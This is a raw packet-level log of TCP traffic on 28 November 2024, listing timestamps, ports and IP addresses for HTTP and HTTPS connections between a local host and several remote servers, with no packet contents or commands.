Nov 28, 2024 11:05:33.015703917 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.015731096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.015764952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.016745090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.016825914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.016849041 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.016865015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.017754078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.017801046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.017848015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.017940044 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.018776894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.018831968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.018882036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.019042969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.019860029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.019910097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.020237923 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.020279884 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.020915031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.021009922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.021059990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.021122932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.021989107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.022047997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.022054911 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.022080898 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.023008108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.023087978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.023128033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.023190022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.024169922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.024250031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.024256945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.024281025 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.025080919 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.025127888 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.025249958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.025459051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.026112080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.026170015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.026248932 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.026431084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.027167082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.027211905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.027297020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.027487040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.028270960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.028284073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.028316975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.028336048 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.029258013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.029381037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.029418945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.030378103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.030420065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.030459881 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.031375885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.031415939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.031549931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.031694889 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.032424927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.032469988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.032615900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.032655954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.033473015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.033544064 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.033581972 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.033636093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.034513950 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.034576893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.034611940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.034673929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.035526037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.035577059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.035670042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.035881996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.036577940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.036624908 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.036676884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.036750078 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.037638903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.037695885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.037727118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.037777901 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.038687944 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.038733959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.038795948 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.038831949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.039732933 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.039786100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.039808035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.039840937 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.040782928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.040879965 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.040915966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.040971994 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.041841030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.041913986 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.041954041 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.041991949 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.042895079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.042947054 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.042984009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.043026924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.043878078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.043915033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.048686981 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.048985004 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.049015045 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.050139904 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.050199032 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.051378012 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.051455975 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.051578045 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.051589012 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:33.104638100 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.104676008 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.104736090 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.104840994 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.104892015 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.104892015 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.105350971 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:33.121402979 CET	49863	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.121453047 CET	443	49863	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:33.121531010 CET	49863	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.121853113 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.121880054 CET	443	49864	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:33.122030020 CET	49863	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.122045994 CET	443	49863	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:33.122060061 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.122263908 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:33.122279882 CET	443	49864	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:33.157310963 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.157335997 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.157428026 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.157526016 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:33.157562971 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.157672882 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:33.177274942 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.177352905 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.177417040 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.177622080 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.177644014 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.177656889 CET	49854	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.177661896 CET	443	49854	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.180253983 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.180289030 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.180459976 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.180630922 CET	49865	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:33.180641890 CET	443	49865	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:33.191026926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.191107035 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.191143036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.191189051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.191327095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.191482067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.191543102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.192735910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.192754030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.192789078 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.192826986 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.193681002 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.193694115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.193737984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.194415092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.194461107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.194675922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.195327044 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.195521116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.195571899 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.195677996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.195734024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.196877003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.196893930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.196933031 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.196955919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.197736025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.197752953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.197792053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.197807074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.198652983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.198715925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.198919058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.199534893 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.200148106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.200164080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.200242996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.200841904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.200897932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.200968981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.201090097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.201812029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.201824903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.201890945 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.202847958 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.202913046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.203021049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.203241110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.203974962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.204027891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.204132080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.204273939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.204901934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.205076933 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.205137968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.206006050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.206056118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.206177950 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.206311941 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.206993103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.207047939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.207125902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.207242966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.208048105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.208106995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.208224058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.208270073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.209079027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.209129095 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.209249973 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.209353924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.210206032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.210220098 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.210263014 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.210278988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.211133003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.211272001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.211324930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.212321997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.212372065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.212502956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.212958097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.213295937 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.213347912 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.213475943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.213664055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.214402914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.214477062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.214571953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.214627981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.215563059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.215580940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.215666056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.216633081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.216654062 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.216682911 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.216706991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.217441082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.217494965 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.217613935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.217777014 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.218502998 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.218517065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.218558073 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.218584061 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.218722105 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.218807936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.218823910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.218873024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.221515894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.221565962 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.221798897 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.222306013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.222620010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.222676992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.222807884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.222821951 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.222836018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.222858906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.222871065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.223747015 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.223886967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.223952055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.224982023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.225034952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.225133896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.225258112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.225861073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.225910902 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.226038933 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.226238966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.226852894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.226907969 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.226996899 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.227138996 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.227941990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.227994919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.228079081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.228205919 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.229013920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.229070902 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.229243994 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.229744911 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.230149031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.230211020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.230314016 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.230396986 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.231178999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.231232882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.231339931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.231420040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.232309103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.232323885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.232368946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.233237982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.233294010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.233441114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.233494997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.234234095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.234287977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.234409094 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.234498978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.235358000 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.235424995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.235527039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.235682964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.236675978 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.236691952 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.236727953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.236747026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.237344027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.237401962 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.237478971 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.237519026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.238600969 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.238615036 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.238661051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.239432096 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.239487886 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.239577055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.239721060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.240556955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.240722895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.240781069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.241508007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.241569042 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.241679907 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:33.241880894 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:33.242666006 CET	80	49782	185.215.113.206	192.168.2.7
